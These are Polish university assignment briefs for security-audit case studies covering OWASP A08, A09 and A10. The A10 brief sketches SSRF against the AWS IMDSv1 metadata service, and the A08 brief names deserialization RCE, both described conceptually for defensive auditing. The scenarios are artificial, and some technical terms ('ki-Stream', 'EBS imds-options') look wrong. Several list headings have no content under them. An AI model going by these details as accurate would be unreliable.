Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania integralności oprogramowania i danych w aplikacjach administracji rządowej (kategoria OWASP Top 10:2021 - A08:2021 Software and Data Integrity Failures). Studenci badają Krajową Platformę E-Zamówienia obsługującą postępowania o zamówienia publiczne w Polsce, w której wykryto niebezpieczne załadowanie bibliotek JavaScript z zewnętrznych sieci CDN bez stosowania atrybutu Subresource Integrity (SRI), podatne na manipulacje deserializowane obiekty Java w module składania ofert oraz brak weryfikacji integralności pobieranych pakietów oprogramowania w środowisku wytwórczym. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) w świetle Prawa zamówień publicznych (PZP), KRI i normy ISO/IEC 27001:2022, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.
Powiązanie z sylabusem i treściami programowymi:
Krajowa Platforma E-Zamówienia pełni funkcję centralnego narzędzia informatyzującego udzielanie zamówień publicznych w Rzeczypospolitej Polskiej. System obsługuje rocznie ponad 450 000 postępowań, 1,2 mln wykonawców zarejestrowanych i udostępnia formularze ofertowe, komunikację i repozytorium dokumentów, komunikację z elektronicznym podpisem kwalifikowanym oraz nowe moduły do zarządzania umowami, klasyfikacji CPV i sprawozdawczości.
Stan faktyczny w obszarze integralności oprogramowania i danych:
Prezes Urzędu Zamówień Publicznych, zaskoczony raportem inspektora audytu wewnętrznego z zakresu integralności procesu przetargowego, zleca zaawansowany audyt bezpieczeństwa aplikacji na ocenę 4.0.
Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:
Student 1 (Audytor Wiodący / Governance i Zgodność Regulacyjna): Koordynuje prace zespołu, analizuje wymogi PZP (art. 59, 60) i KRI dla systemów teleinformatycznych publicznych, przygotowuje wnioski dla Prezesa UZP.
Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji i Integralności Danych): Analizuje ładowanie zasobów CDN/SRI, deserializację Java, weryfikację kluczy JWK, testuje integralność pakietów wdrożeniowych i projektuje model SRI.
Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.
Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:
1. Wstrzyknięcie złośliwego kodu JavaScript przez kompromitację zewnętrznej sieci CDN przy braku SRI (P=2, S=3 -> R=6; po kontrolach: SRI, self-hosting: P=1, S=2 -> R=2).
2. Zdalne wykonanie kodu przez podatną deserializację obiektów Java w module ofert (P=3, S=3 -> R=9; po kontrolach: JEP-290, API-based serialization: P=1, S=3 -> R=3).
3. Manipulacja kompletnym pakietem aktualizacji wdrożeniowej przy braku weryfikacji sum kontrolnych i podpisów (P=2, S=3 -> R=6; po kontrolach: CI/CD z podpisem SHA-256: P=1, S=3 -> R=3).
4. Fałszerstwo tokenów JWK w integracji z dostawcami tożsamości przez brak weryfikacji kluczy publicznych (P=2, S=3 -> R=6; po kontrolach: OIDC/Dynamic Client Registration: P=1, S=2 -> R=2).
Sformułujcie karty uchybień z podziałem na:
1. Dlaczego w portalu możliwe jest wykonanie niebezpiecznej deserializacji? (Ponieważ module ofert używany jest natywny mechanizm Java Serialization bez wywołań zabezpieczeń JEP-290).
2. Dlaczego użyto natywnej serializacji Java? (Ponieważ inżynierowie wytwórcy platformy chcieli szybko przechowywać stan formularza ofertowego, wybierając prostotę zamiast bezpiecznego formatu danych).
3. Dlaczego wymagania techniczne nie wykluczały natywnej serializacji? (Ponieważ standard bezpiecznego wytwarzania (SSDF) nie był wdrożony, a przeglądy kodu nie uwzględniały ryzyka deserializacji).
4. Dlaczego brak było bezpiecznego standardu wytwarzania? (Ponieważ zamawiający nie formułował w umowie wymogów bezpieczeństwa cyklu życia oprogramowania, a rozwój powierzono wielu podwykonawcom).
5. Root Cause (Przyczyna źródłowa): Brak egzekwowania bezpiecznych standardów wytwarzania i wymogów integralności w procesie zamówień na system teleinformatyczny w administracji rządowej.
Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).
Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.
Plan prezentacji referatu seminaryjnego (15 minut):
Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):
1. Podsumowanie zarządcze dla Prezesa UZP i administratorów platformy.
2. Odpowiedzi na zaawansowane pytania problemowe:
3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (analiza treści odpowiedzi, RCE testy deserializacji, testy kluczy JWK).
4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).
5. Formalne Karty Niezgodności (NC1/NC2/OFI).
6. Protokół dochodzenia przyczyn źródłowych (5 Why).
7. Szczegółowe rozwiązanie techniczne: odwołania do SRI, filtr JEP-290, konfiguracja CI/CD z podpisywaniem artifactów, weryfikacja kluczy JWK (OIDC).
8. Tabela Planu Działań Korygujących (CAP).
9. Analiza kompromisów inżynierskich (koszt self-hostingu CDN, wpływ reproducerability, migracja formatu serializacji).
10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.
Podczas obrony referatu zaprezentujcie komisji przykład kodu HTML z atrybutami SRI (przed i po audycie) oraz demonstrację dekodowania podpisanego pakietu wdrożeniowego z weryfikacją sumy kontrolnej, ilustrując zmiany w procesie dostarczania oprogramowania do środowiska produkcyjnego.
Temat: Zaawansowany Audyt Błędów Rejestrowania i Monitorowania Zdarzeń Bezpieczeństwa (A09:2021 - Security Logging and Monitoring Failures) w Ogólnopolskim Systemie Orzeczeń Lekarskich: Brak Audytowych Dzienników Sesji, Brak Detekcji Anomalii, Analiza Ryzyka 3X3, Gradacja NC1/NC2/OFI, Dochodzenie 5 Why i Plan CAP w Świetle RODO art. 33 i KRI
Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania mechanizmów rejestrowania zdarzeń, monitorowania i detekcji incydentów w systemach obsługujących dane wrażliwe (kategoria OWASP Top 10:2021 - A09:2021 Security Logging and Monitoring Failures). Studenci badają Ogólnopolski System Rejestru Orzeczeń Lekarskich prowadzony przez Centralny Ośrodek Medycyny Pracy w Łodzi (podmiot medyczny przetwarzający dane zdrowotne obywateli w trybie art. 9 RODO), w którym stwierdzono brak audytowych dzienników sesji, brak dziennika nieudanych logowań, brak spójnego powiązania zdarzeń z tożsamością użytkownika (brak powiązania pojedynczego zdarzenia z konkretnym zdarzeniem biznesowym) oraz brak narzędzi do wykrywania anomalii (SIEM). Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem art. 33 RODO i punktów normy ISO/IEC 27001:2022, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.
Powiązanie z sylabusem i treściami programowymi:
Centralny Ośrodek Medycyny Pracy w Łodzi (CMP) prowadzi Ogólnopolski System Rejestru Orzeczeń Lekarskich (upraszczając: 'ORS'), w którym lekarze orzecznicy współpracujący z Zakładami Ubezpieczeń Społecznych wystawiają elektroniczne orzeczenia o niezdolności do pracy oraz dokumenty potwierdzające wynik badań medycyny pracy (w tym dopuszczenia do pracy na określonych stanowiskach). System ORS gromadzi 13 lat danych wrażliwych medycznych dla 2 mln obywateli rocznie i przetwarza je w architekturze mikroserwisowej (API REST + PostgreSQL + klastry Elasticsearch).
Stan faktyczny w obszarze rejestrowania i monitorowania:
Prezes CMP, w kontekście zapowiedzianego postępowania kontrolnego Prezesa UODO dotyczącego naruszeń, zleca zaawansowany audyt bezpieczeństwa informacji na ocenę 4.0.
Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:
Student 1 (Audytor Wiodący / Governance i Zgodność Prawna): Koordynuje prace zespołu, analizuje wymogi art. 33 RODO (zgłoszenie naruszenia do UODO w terminie 72 godz.), art. 32, wymogi KRI § 20, przygotowuje wnioski dla Prezesa CMP i Inspektora Ochrony Danych.
Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji i Logów): Analizuje konfigurację dzienników (log4j), powiązanie zdarzeń z tożsamością, architekturę gromadzenia logów, retencję i projektuje model SIEM.
Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.
Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:
1. Brak wykrycia nieautoryzowanego dostępu do danych orzeczeń w wyniku braku dzienników audytowych sesji (P=3, S=3 -> R=9; po kontrolach: dzienniki pełne, SIEM: P=1, S=3 -> R=3).
2. Brak możliwości rozliczenia działań pojedynczego użytkownika (osobiście) w wyniku braku powiązania logów z tożsamością (P=3, S=3 -> R=9; po kontrolach: korelacja tożsamości, ki-Stream: P=1, S=2 -> R=2).
3. Brak alertów na anomalie (np. botnet atakujący logowania) i opóźnione reagowanie (P=3, S=3 -> R=9; po kontrolach: SIEM, alerty: P=1, S=2 -> R=2).
4. Brak 72-godzinnego raportowania naruszeń i niewykrycie zdarzeń przez retencję 7 dni (P=3, S=3 -> R=9; po kontrolach: retencja 12 miesięcy, procedury: P=1, S=2 -> R=2).
Sformułujcie karty uchybień z podziałem na:
1. Dlaczego nie wykryto nieautoryzowanej sesji w systemie ORS? (Ponieważ system nie rejestrował sesji, a logi nie zawierały tożsamości użytkownika).
2. Dlaczego system nie rejestrował sesji? (Ponieważ wymagania dotyczące dzienników aplikacji nie obejmowały identyfikatora sesji i tożsamości, a pliki log4j pozostawały w konfiguracji domyślnej).
3. Dlaczego wymagania nie obejmowały identyfikatorów sesji? (Ponieważ w projekcie implementacji skupiono się na funkcjonalnościach wystawiania orzeczeń, a rozliczalność (accountability) potraktowano jako obszar mniejszego priorytetu).
4. Dlaczego rozliczalność potraktowano jako obszar mniejszego priorytetu? (Ponieważ brak było przeglądu wymagań RODO art. 32 i art. 5 ust. 2 przez zespół projektowy oraz brak modelowania danych wrażliwych).
5. Root Cause (Przyczyna źródłowa): Brak wdrożenia mechanizmów rozliczalności i monitorowania zdarzeń w aplikacji o charakterze medycznym oraz brak procedur audytu wewnętrznego dzienników w fazie utrzymania systemu.
Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).
Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.
Plan prezentacji referatu seminaryjnego (15 minut):
Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):
1. Podsumowanie zarządcze dla Prezesa CMP i Inspektora Ochrony Danych.
2. Odpowiedzi na zaawansowane pytania problemowe:
3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (przegląd logów, testy śladu zdarzeń, testy reagowania).
4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).
5. Formalne Karty Niezgodności (NC1/NC2/OFI).
6. Protokół dochodzenia przyczyn źródłowych (5 Why).
7. Szczegółowe rozwiązanie techniczne: konfiguracja log4j2 JSON layout, schemat zdarzeń OSSTMM, model SIEM/Wazuh, polityka retencji, procedura naruszeń.
8. Tabela Planu Działań Korygujących (CAP).
9. Analiza kompromisów inżynierskich (objętość logów, koszty SIEM, wpływ na wydajność systemu).
10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.
Podczas obrony referatu zaprezentujcie komisji porównanie wpisu w dzienniku przed audytem (bez tożsamości) i po audycie (komplet zdarzeń z identyfikatorami sesji i użytkownika), a także przykładowy dashboard SIEM z wykrytą anomalią prób logowania w systemie orzeczeń lekarskich.
Temat: Zaawansowany Audyt Podatności Fałszowania Żądań po Stronie Serwera (A10:2021 - Server-side Request Forgery / SSRF) w Systemie Rozliczeń Tranzytowych w Chmurze AWS: Odpytanie Usługi Metadanych IMDSV1, Wyciek Ról IAM, Analiza Ryzyka 3X3, Gradacja NC1/NC2/OFI, Dochodzenie 5 Why i Plan CAP w Świetle NIS2
Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania podatności typu Server-Side Request Forgery (SSRF) w nowoczesnych aplikacjach chmurowych (kategoria OWASP Top 10:2021 - A10:2021 Server-Side Request Forgery) oraz rozumienia zagrożeń związanych z usługą metadanych AWS IMDSv1. Studenci badają Międzynarodowy Operator Logistyczny 'Trans-Cargo Polska S.A.' - podmiot obsługujący 480 000 przejść granicznych rocznie - którego system rozliczeń tranzytowych (SART) przetwarza dane MANIFESTÓW SEMKO i korzysta z połączeń z zewnętrznymi API celno-logistycznych (GUS, e-CLO, Transport Data Exchange). W systemie SART wykryto możliwość wykorzystania podatności SSRF do odpytywania instancji metadanych AWS (169.254.169.254) w wariancie IMDSv1, co umożliwia uzyskanie tymczasowych poświadczeń roli IAM instancji i eskalację uprawnień w całym kontach chmurowych. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz wymogów NIS2, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.
Powiązanie z sylabusem i treściami programowymi:
Międzynarodowy Operator Logistyczny 'Trans-Cargo Polska S.A.' prowadzi międzynarodowe przewozy drogowe na trasach UE-WNP, obsługując rocznie ponad 480 000 przejść granicznych (przejścia w Koroszczynie, Dorohusku, Łukowie, Budzisku i pozostałej pln-wsch granicy) oraz współpracując z terminalami celno-logistycznymi. Centralny System Rozliczeń Tranzytowych (SART) działa w chmurze AWS (region eu-central-1) i realizuje:
Stan faktyczny w obszarze podatności SSRF:
Członek Zarządu ds. Operacyjnych, w reakcji na zgłoszenie anonimowe przez kierowcę o pobieraniu nieuprawnionych dokumentów granicznych, zleca zaawansowany audyt bezpieczeństwa aplikacji webowych na ocenę 4.0.
Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:
Student 1 (Audytor Wiodący / Governance i Zgodność Regulacyjna): Koordynuje prace zespołu, analizuje wymogi NIS2 dla sektora transportu (art. 21), obowiązki z zakresu bezpieczeństwa łańcucha dostaw, przygotowuje wnioski dla Zarządu.
Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji i Chmury AWS): Dekonstruuje endpoint SSRF, bada IMDSv1/v2, analizuje polityki IAM, bucketów S3 i CloudTrail, projektuje architekturę zero trust z allow-listami URL i tokenem IMDSv2.
Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.
Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:
1. Wykradzenie poświadczeń roli IAM instancji przez SSRF-IMDSv1 (P=3, S=3 -> R=9; po kontrolach: IMDSv2, EBS imds-options: P=1, S=3 -> R=3).
2. Eksfiltracja danych manifestów SEMKO z bucketów S3 przez nadmierne uprawnienia ról (P=3, S=3 -> R=9; po kontrolach: least privilege, SCP: P=1, S=2 -> R=2).
3. Dostęp do wewnętrznej infrastruktury (Aurora, RDS, cache) przez SSRF do adresów RFC1918/link-local (P=3, S=3 -> R=9; po kontrolach: filtrowanie, allow-listy, WAF: P=1, S=3 -> R=3).
4. Publicznie dostępny bucket i twardo zakodowane poświadczenia w CloudFormation (P=2, S=3 -> R=6; po kontrolach: blokada publicznego accessu, Secret Manager: P=1, S=2 -> R=2).
Sformułujcie karty uchybień z podziałem na:
1. Dlaczego atakujący mógł wykraść poświadczenia roli IAM? (Ponieważ endpoint SSRF nie filtrował adresów link-local/metadata i pozwalał na odpytywanie 169.254.169.254).
2. Dlaczego endpoint nie filtrował adresów metadanych? (Ponieważ funkcja pobierania załączników była projektowana z myślą o wewnętrznym systemie plików, a rozszerzenie o zewnętrzne URL dodano bez wymagań bezpieczeństwa).
3. Dlaczego rozszerzenie dodano bez wymagań bezpieczeństwa? (Ponieważ w procesie zarządzania zmianą nie prowadzono modelowania zagrożeń i nie konsultowano zmian z zespołem bezpieczeństwa).
4. Dlaczego zespół bezpieczeństwa nie był włączany w procesy zmian? (Ponieważ kompetencje chmurowe AWS zlokalizowane były w developerskim zespole inżynierskim, a bezpieczeństwo sprowadzono do konfiguracji z dokumentacji).
5. Root Cause (Przyczyna źródłowa): Brak wdrożenia Secure SDLC i włączania bezpieczeństwa w proces zmian chmurowych, nadmierne uprawnienia IAM oraz brak architektury zero trust w chmurze AWS.
Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).
Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.
Plan prezentacji referatu seminaryjnego (15 minut):
Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):
1. Podsumowanie zarządcze dla Zarządu i dyrektora operacyjnego.
2. Odpowiedzi na zaawansowane pytania problemowe:
3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (testy SSRF, analiza polityk IAM/S3, symulacja wycieku poświadczeń).
4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).
5. Formalne Karty Niezgodności (NC1/NC2/OFI).
6. Protokół dochodzenia przyczyn źródłowych (5 Why).
7. Szczegółowe rozwiązanie techniczne: konfiguracja IMDSv2, polityka IAM z least privilege (deny dla administratora), allow-listy URL w API Gateway/WAF, CloudTrail alerts na AssumeRole.
8. Tabela Planu Działań Korygujących (CAP).
9. Analiza kompromisów inżynierskich (koszt refaktoryzacji fetch-URL, wpływ integracji z API zewnętrznymi, dostępność IMDSv2).
10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.
Podczas obrony referatu zaprezentujcie komisji diagram ataku SSRF-IMDSv1 (od żądania HTTP do wycieku poświadczeń roli IAM) oraz porównanie konfiguracji instancji EC2 przed i po wdrożeniu IMDSv2 wraz z wynikami testów CloudTrail dla zdarzeń AssumeRole.